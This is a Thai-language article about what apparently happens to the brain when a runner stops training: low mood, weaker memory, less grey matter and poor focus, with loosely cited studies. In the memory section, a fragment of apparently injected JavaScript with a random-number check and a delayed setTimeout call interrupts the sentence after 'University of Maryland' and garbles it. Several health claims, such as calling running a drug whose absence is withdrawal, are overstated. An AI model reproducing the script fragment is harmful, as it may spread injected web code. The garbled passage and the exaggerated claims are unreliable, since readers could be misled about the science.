ไม่แปลกถ้าเพียงแค่ หยุดวิ่ง 2-3 สัปดาห์ ร่างกายคุณจะเริ่มรู้สึกเฉื่อยชา ความฟิตตกลง เบื่อและอารมณ์เสียง่าย ทั้งนี้เพราะการวิ่งจะเป็นยากระตุ้นเซลล์ประสาทสมองขนานดี แต่เมื่อเราหยุดวิ่ง นั้นคือยาขาด ประสิทธิภาพสมองก็ตกลงตามไปด้วย ฉะนั้นเมื่อเป็นนักวิ่งก็อย่าหยุดวิ่ง ถ้าไม่กลัวและชอบที่จะหาข้ออ้างหยุดซ้อม ลองมาดูกันสิว่าจะเกิดอะไรขึ้นกับสมองเราบ้าง เมื่อเราหยุดวิ่ง…
จะเกิดอะไรขึ้นกับสมองเมื่อเรา หยุดวิ่ง
- ซึมเศร้า
การวิ่งหรือการออกกำลังกายแบบไหนก็ตามที่เป็นการออกกำลังกายแบบคาร์ดิโอ จะทำให้ร่างกายผลิตฮอร์โมนความสุขที่เรียกว่าเอนโดฟินส์และสารประกอบอื่นๆ เช่น โดพามีน เซราโทนิน และนอร์อิพิเนฟริน ช่วยต่อต้านอาการซึมเศร้า แต่เมื่อเราหยุดวิ่งไปสักพัก ร่างกายก็ไม่ได้ผลิตเพิ่มเติมให้ร่างกาย จึงเป็นสาเหตุว่าทำไม่เวลาหยุดวิ่งไปนานๆ อารมณ์เราจึงเบื่อและเศร้าซึมง่าย
- หน่วยความจำแย่ลง
จากการวิจัยของ University of Marylandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and พบว่า สมองของนักกีฬาวัยสูงอายุ ถ้ามีการหยุดออกกำลังกาย 10 วัน การไหลเวียนโลหิตไปเลี้ยงสมอง โดยเฉพาะส่วนฮิปโปแคมปัส อันมีหน้าที่ทำงานเกี่ยวกับความทรงจำและการเรียนรู้ ลดลงอย่างมีนัยสำคัญ น้อยกว่าช่วงออกกำลังกาย และประกอบการวิจัยอีกชิ้นหนึ่งซึ่งรายงานว่า สมองส่วนฮิปโปแคมปัสที่ขาดการไหลเวียนของโลหิตที่ดี จะมีผลต่อความทรงจำที่แย่ลง
เพิ่มเติมอีกสักนิดกับงานวิจัยอีกชิ้นหนึ่งที่พบว่า เมื่อเราจบการวิ่ง ร่างกายจะผลิตโปรตีนที่มีชื่อว่า คาเธปซินบี (cathepsin B) มีผลต่อการพัฒนาช่วยเพิ่มความทรงจำ หากเราหยุดออกกกำลังกาย เจ้าคาเธปซินบีก็จะถุกผลิตน้อยลงไปด้วย นี้ก้อาจจะเป็นสาเหตุที่เราขี้หลงขี้ลืมได้ง่ายเมื่อหยุดออกกำลังกาย
- สมองแรมต่ำ ประมวลผลช้า
จากงานวิจัยของประเทศฟินแลนด์ ที่นำแฝด 10 คู่ มาวิจัยยาวถึง 3 ปี โดยจับแยกคนหนึ่งให้ออกกำลังกายอย่างเป็นประจำและอีกคนหนึ่งไม่ค่อยได้ออกกำลังกาย (ออกกำลังกายน้อยกว่า 2 ครั้งต่อสัปดาห์) พบว่าคนที่ออกกำลังกายเป็นประจำจะมีพื้นที่เนื้อสีเทา หรือที่เรียกว่า Gray Matter มากขึ้นกว่าคู่แฝดที่ไม่ค่อยออกกำลังกาย (สมองเนื้อสีเทา มีหน้าที่ควบคุมการทำงานของกล้ามเนื้อ และการให้ความรู้สึก ทั้งประ สาทสัมผัส ความนึกคิด ความจำ การเห็น การพูด การได้ยิน : ศาสตราจารย์เกียรติคุณ แพทย์หญิง พวงทอง ไกรพิบูลย์ ) ดังนั้นการที่ร่างกายเราหยุดการออกกำลังกาย เจ้าเนื้อสีเทาก็จะไม่ได้รับการเพิ่มจำนวนขึ้นและลดจำนวนลง เป็นสาเหตุให้สมองเราทำงานช้าลง คิดอ่านและวิเคราะห์แย่ลง
- สมาธิแย่ลง ไม่โฟกัส
ผลงานวิจัยจาก British Medical Journal ได้ค้นพบว่าการออกกำลังกายสั้นๆ 10-40นาทีก็สามารถช่วยสร้างเสริมสมาธิ เพิ่มพลังในการโฟกัสได้ดีอย่างน่าอัศจรรย์ เหตุเป็นเพราะสมองได้รับการหล่อเลี้ยงจากโลหิต อันประกอบไปด้วยสสารอาหาร พลังงานและฮอร์โมนต่างๆ อย่างเช่น เอนโดฟินส์ โดพามีน เซราโทนิน และนอร์อิพิเนฟริน ที่ได้กล่าวมาข้างต้น ทำให้สมองเรามีการตื่นตัวมากขึ้น
เมื่อขาดโลหิตมาเลี้ยงสมองหรือมีมาน้อยลง สมองนักวิ่งก็อยู่ในสภาวะซึม ไม่ตื่นตัว ขาดสารเคมีและพลังงานในการกระตุ้น ผลที่ได้คือเราขาดความสามารถในการทำสมาธิหรือโฟกัสกับสิ่งใดสิ่งหนึ่งได้ลดลง
การวิ่งเป็นกีฬาที่ให้พรความสุขกับนักวิ่งทุกคน เป็น Lifelong sport เมื่อวิ่งแล้วก็จะต้องวิ่งไปตลอดชีวิต แต่ถ้าเราหยุดวิ่งลง ความพรสุขก็จะกลายโดนคำสาปโดยทันที แต่เชื่อได้ว่านักวิ่งผู้หลงรักการวิ่งไม่มีทางที่จะหยุดการวิ่งไปได้หรอกครับ พักนานแค่ไหนก็สามารถกลับมาได้เสมอ ยังคงชื่นชอบกิจกรรมทรมานบันเทิงไม่เสื่อมคลาย
อ้างอิง hwww.runnersworld.com
